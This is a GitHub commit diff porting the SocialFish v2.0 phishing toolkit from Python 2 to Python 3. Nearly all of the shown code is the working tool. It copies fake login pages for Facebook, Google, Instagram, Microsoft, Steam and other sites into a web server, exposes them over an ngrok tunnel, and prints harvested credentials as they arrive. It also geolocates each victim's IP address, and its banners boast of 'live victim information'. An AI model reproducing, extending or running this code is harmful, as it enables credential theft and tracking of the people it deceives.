ported to python 3

This commit is contained in:
Usama Abdul Sattar 2018-06-18 08:10:40 +05:00 committed by GitHub
parent 7fa36acdcb
commit db5530c959
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,4 +1,4 @@
#!/usr/bin/python2.7 #!/usr/bin/python3
#-*- coding: utf-8 -*- #-*- coding: utf-8 -*-
# SOCIALFISH v2.0 # SOCIALFISH v2.0
# by: An0nUD4Y # by: An0nUD4Y
@ -9,7 +9,7 @@ from sys import stdout, exit
from os import system, path from os import system, path
from distutils.dir_util import copy_tree from distutils.dir_util import copy_tree
import multiprocessing import multiprocessing
from urllib import urlopen, quote, unquote from urllib.request import urlopen, quote, unquote
from platform import system as systemos, architecture from platform import system as systemos, architecture
from wget import download from wget import download
import re import re
@ -25,18 +25,18 @@ def connected(host='http://duckduckgo.com'):
except: except:
return False return False
if connected() == False: if connected() == False:
print ''' print ('''
....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _ ....._____....... ____ ____ ____ _ ____ _ ____ _ ____ _ _
/ \/| [__ | | | | |__| | |___ | [__ |__| / \/| [__ | | | | |__| | |___ | [__ |__|
\o__ /\| ___] |__| |___ | | | |___ | | ___] | | \o__ /\| ___] |__| |___ | | | |___ | | ___] | |
\| \|
{0}[{1}!{0}]{1} Network error. Verify your connection.\n {0}[{1}!{0}]{1} Network error. Verify your connection.\n
'''.format(RED, END) '''.format(RED, END))
exit(0) exit(0)
def checkNgrok(): def checkNgrok():
if path.isfile('Server/ngrok') == False: if path.isfile('Server/ngrok') == False:
print '[*] Downloading Ngrok...' print ('[*] Downloading Ngrok...')
ostype = systemos().lower() ostype = systemos().lower()
if architecture()[0] == '64bit': if architecture()[0] == '64bit':
filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype) filename = 'ngrok-stable-{0}-amd64.zip'.format(ostype)
@ -52,8 +52,8 @@ checkNgrok()
def end(): def end():
system('clear') system('clear')
print ''' print ('''
S O C I A L{2} S O C I A L{2}
|\ \ \ \ \ \ \ \ __ ___ |\ \ \ \ \ \ \ \ __ ___
| \ \ \ \ \ \ \ \ | O~-_ _-~~ ~~-_ | \ \ \ \ \ \ \ \ | O~-_ _-~~ ~~-_
| >----|-|-|-|-|-|-|--| __/ / {1}DON'T{2} ) | >----|-|-|-|-|-|-|--| __/ / {1}DON'T{2} )
@ -62,34 +62,34 @@ def end():
{1}F I S H{2} ~--___--~ {1}F I S H{2} ~--___--~
{0}NOW WITH LIVE VICTIM ATTACK INFORMATION ] {0}NOW WITH LIVE VICTIM ATTACK INFORMATION ]
{1}[ {0} Some more phising pages have been added in script. For a better Attack] {1}[ {0} Some more phising pages have been added in script. For a better Attack]
[ {0} Work Done By------------------------> An0nUD4Y]\n'''.format(GREEN, END, CYAN) [ {0} Work Done By------------------------> An0nUD4Y]\n'''.format(GREEN, END, CYAN))
def loadModule(module): def loadModule(module):
print '''{0} print ('''{0}
_.-=-._ .-, _.-=-._ .-,
.' "-.,' / .' "-.,' /
( AnonUD4Y _. < ( AnonUD4Y _. <
`=.____.=" `._\\ `=.____.=" `._\\
[{1}*{0}]{1} %s module loaded. Building site...{0}'''.format(CYAN, END) % module [{1}*{0}]{1} %s module loaded. Building site...{0}'''.format(CYAN, END) % module)
def runPhishing(social, option2): def runPhishing(social, option2):
system('sudo rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/') system('sudo rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/')
if option2 == '1' and social == 'Facebook': if option2 == '1' and social == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/") copy_tree("WebPages/fb_standard/", "Server/www/")
if option2 == '2' and social == 'Facebook': if option2 == '2' and social == 'Facebook':
copy_tree("WebPages/fb_advanced_poll/", "Server/www/") copy_tree("WebPages/fb_advanced_poll/", "Server/www/")
if option2 == '3' and social == 'Facebook': if option2 == '3' and social == 'Facebook':
copy_tree("WebPages/fb_security_fake/", "Server/www/") copy_tree("WebPages/fb_security_fake/", "Server/www/")
if option2 == '4' and social == 'Facebook': if option2 == '4' and social == 'Facebook':
copy_tree("WebPages/fb_messenger/", "Server/www/") copy_tree("WebPages/fb_messenger/", "Server/www/")
elif option2 == '1' and social == 'Google': elif option2 == '1' and social == 'Google':
copy_tree("WebPages/google_standard/", "Server/www/") copy_tree("WebPages/google_standard/", "Server/www/")
elif option2 == '2' and social == 'Google': elif option2 == '2' and social == 'Google':
copy_tree("WebPages/google_advanced_poll/", "Server/www/") copy_tree("WebPages/google_advanced_poll/", "Server/www/")
elif option2 == '3' and social == 'Google': elif option2 == '3' and social == 'Google':
copy_tree("WebPages/google_advanced_web/", "Server/www/") copy_tree("WebPages/google_advanced_web/", "Server/www/")
elif social == 'LinkedIn': elif social == 'LinkedIn':
copy_tree("WebPages/linkedin/", "Server/www/") copy_tree("WebPages/linkedin/", "Server/www/")
elif social == 'GitHub': elif social == 'GitHub':
@ -111,105 +111,105 @@ def runPhishing(social, option2):
elif social == 'Steam': elif social == 'Steam':
copy_tree("WebPages/steam/", "Server/www/") copy_tree("WebPages/steam/", "Server/www/")
elif option2 == '1' and social == 'Instagram': elif option2 == '1' and social == 'Instagram':
copy_tree("WebPages/Instagram_web/", "Server/www/") copy_tree("WebPages/Instagram_web/", "Server/www/")
elif option2 == '2' and social == 'Instagram': elif option2 == '2' and social == 'Instagram':
copy_tree("WebPages/Instagram_autoliker/", "Server/www/") copy_tree("WebPages/Instagram_autoliker/", "Server/www/")
def waitCreds(): def waitCreds():
print "{0}[{1}*{0}]{1} Hi Hacker Everything has been completed.............. Start HAcking ".format(RED, END) print ("{0}[{1}*{0}]{1} Hi Hacker Everything has been completed.............. Start HAcking ".format(RED, END))
print '''{0} print ('''{0}
_.-=-._ .-, _.-=-._ .-,
.' "-.,' / .' "-.,' /
( AnonUD4Y_ ~.< ( AnonUD4Y_ ~.<
`=.____.=" `._\\ `=.____.=" `._\\
[{1}*{0}]{1} NOW YOU WILL GET YOUR VICTIM'S LIVE INFORMATION . [{1}*{0}]{1} NOW YOU WILL GET YOUR VICTIM'S LIVE INFORMATION .
[{1}*{0}]{1} GET VICTIM'S IP ADDRESS, ISP, GEOLOCATION, CITY, COUNTRY, AND MANY MORE STUFF.{0}'''.format(CYAN, END) [{1}*{0}]{1} GET VICTIM'S IP ADDRESS, ISP, GEOLOCATION, CITY, COUNTRY, AND MANY MORE STUFF.{0}'''.format(CYAN, END))
print " {0}[{1}*{0}]{1} Waiting for credentials & victim's info... \n".format(RED, END) print (" {0}[{1}*{0}]{1} Waiting for credentials & victim's info... \n".format(RED, END))
while True: while True:
with open('Server/www/usernames.txt') as creds: with open('Server/www/usernames.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
print '======================================================================'.format(RED, END) print ('======================================================================'.format(RED, END))
print ' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines print (' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt') system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt')
print '======================================================================'.format(RED, END) print ('======================================================================'.format(RED, END))
print ' {0}***** HOPE YOU ARE ENJOYING. SO PLEASE MAKE IT MORE POPULAR *****{1}\n {0}{1}'.format(RED, END) print (' {0}***** HOPE YOU ARE ENJOYING. SO PLEASE MAKE IT MORE POPULAR *****{1}\n {0}{1}'.format(RED, END))
creds.close() creds.close()
with open('Server/www/ip.txt') as creds: with open('Server/www/ip.txt') as creds:
lines = creds.read().rstrip() lines = creds.read().rstrip()
if len(lines) != 0: if len(lines) != 0:
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read() resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp) ipinfo = json.loads(resp)
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc']) matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
latitude = matchObj.group(1) latitude = matchObj.group(1)
longitude = matchObj.group(2) longitude = matchObj.group(2)
print '======================================================================'.format(RED, END) print ('======================================================================'.format(RED, END))
print ' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines print (' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
print ' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, END) % (longitude, latitude) print (' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, END) % (longitude, latitude))
print ' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, END) % (ipinfo['org'], ipinfo['country']) print (' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, END) % (ipinfo['org'], ipinfo['country']))
print ' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, END) % (ipinfo['region'], ipinfo['city']) print (' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, END) % (ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt') system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
print '======================================================================'.format(RED, END) print ('======================================================================'.format(RED, END))
creds.close() creds.close()
def runPEnv(): def runPEnv():
system('clear') system('clear')
print ''' {2}-{1} An0nUD4Y {2}|{1} An0nUD4Y {2}|{1} An0nUD4Y {2}- INDIA print (''' {2}-{1} An0nUD4Y {2}|{1} An0nUD4Y {2}|{1} An0nUD4Y {2}- INDIA
. . . . . .
. ' . ' ' . ' . ' '
' ' ' ' ' ' ' ' ' '
. ' '....' ..'. ' . . ' '....' ..'. ' .
' . . ' ' ' {1}v2.0{2} ' . . ' ' ' {1}v2.0{2}
' . . . . . '. .' ' . ' . . . . . '. .' ' .
' ' '. ' {1}Updated_By--> AnonUD4Y_{2} ' ' '. ' {1}Updated_By--> AnonUD4Y_{2}
' {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ] ' {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]
' . ' ' . '
' '
{1}'''.format(GREEN, END, CYAN) {1}'''.format(GREEN, END, CYAN))
for i in range(101): for i in range(101):
sleep(0.01) sleep(0.01)
stdout.write("\r{0}[{1}*{0}]{1} Preparing environment... %d%%".format(CYAN, END) % i) stdout.write("\r{0}[{1}*{0}]{1} Preparing environment... %d%%".format(CYAN, END) % i)
stdout.flush() stdout.flush()
print "\n\n{0}[{1}*{0}]{1} Searching for PHP installation... ".format(CYAN, END) print ("\n\n{0}[{1}*{0}]{1} Searching for PHP installation... ".format(CYAN, END))
if 256 != system('which php'): if 256 != system('which php'):
print " --{0}>{1} OK.".format(CYAN, END) print (" --{0}>{1} OK.".format(CYAN, END))
else: else:
print " --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again. http://www.php.net/".format(RED, END) print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/".format(RED, END))
exit(0) exit(0)
if raw_input(" {0}[{1}!{0}]{1} Do you agree to use this tool for educational purposes only? (y/n)\n {2}SF-An0nUD4Y > {1}".format(RED, END, CYAN)).upper() != 'Y': if input(" {0}[{1}!{0}]{1} Do you agree to use this tool for educational purposes only? (y/n)\n {2}SF-An0nUD4Y > {1}".format(RED, END, CYAN)).upper() != 'Y':
system('clear') system('clear')
print '\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU NEED A GOOD MIND AND SOUL TO BE ONE OF US. GET AWAY FROM HERE AND DO NOT COME BACK WITH SAME MOTIVE. GOOD BYE!{1} ]\n'.format(RED, END) print ('\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU NEED A GOOD MIND AND SOUL TO BE ONE OF US. GET AWAY FROM HERE AND DO NOT COME BACK WITH SAME MOTIVE. GOOD BYE!{1} ]\n'.format(RED, END))
exit(0) exit(0)
option = raw_input("\nSelect an option:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED With An0nUD4Y !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END)) option = input("\nSelect an option:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED With An0nUD4Y !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
if option == '1': if option == '1':
loadModule('Facebook') loadModule('Facebook')
option2 = raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END)) option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
runPhishing('Facebook', option2) runPhishing('Facebook', option2)
elif option == '2': elif option == '2':
loadModule('Google') loadModule('Google')
option2 = raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END)) option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n {0}[{1}----->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED !\n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
runPhishing('Google', option2) runPhishing('Google', option2)
elif option == '3': elif option == '3':
loadModule('LinkedIn') loadModule('LinkedIn')
@ -233,7 +233,7 @@ def runPEnv():
runPhishing('Twitter', option2) runPhishing('Twitter', option2)
elif option == '8': elif option == '8':
loadModule('Instagram') loadModule('Instagram')
option2 =raw_input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n {0}[{1}------------->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END)) option2 = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n {0}[{1}------------->{0}]{1} More Phising Scripts COMMING SOON ! STAY TUNED ! \n\n {0}SF-An0nUD4Y > {1}".format(CYAN, END))
runPhishing('Instagram', option2) runPhishing('Instagram', option2)
elif option == '9': elif option == '9':
loadModule('Snapchat') loadModule('Snapchat')
@ -246,11 +246,11 @@ def runPEnv():
elif option == '11': elif option == '11':
loadModule('Twitch') loadModule('Twitch')
option2 = '' option2 = ''
runPhishing('Twitch', option2) runPhishing('Twitch', option2)
elif option == '12': elif option == '12':
loadModule('Microsoft') loadModule('Microsoft')
option2 = '' option2 = ''
runPhishing('Microsoft', option2) runPhishing('Microsoft', option2)
elif option == '13': elif option == '13':
loadModule('Steam') loadModule('Steam')
option2 = '' option2 = ''
@ -263,7 +263,7 @@ def runNgrok():
sleep(10) sleep(10)
system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url') system('curl -s -N http://127.0.0.1:4040/status | grep "https://[0-9a-z]*\.ngrok.io" -oh > ngrok.url')
url = open('ngrok.url', 'r') url = open('ngrok.url', 'r')
print('\n {0}[{1}*{0}]{1} Ngrok URL: {2}' + url.read() + '{1}').format(CYAN, END, GREEN) print("\n {0}[{1}*{0}]{1} Ngrok URL: {2}".format(CYAN, END, GREEN) + url.read() + "{1}".format(CYAN, END, GREEN))
url.close() url.close()
def runServer(): def runServer():
@ -277,12 +277,11 @@ if __name__ == "__main__":
runNgrok() runNgrok()
multiprocessing.Process(target=runServer).start() multiprocessing.Process(target=runServer).start()
waitCreds() waitCreds()
except KeyboardInterrupt: except KeyboardInterrupt:
system('pkill -f ngrok') system('pkill -f ngrok')
end() end()
exit(0) exit(0)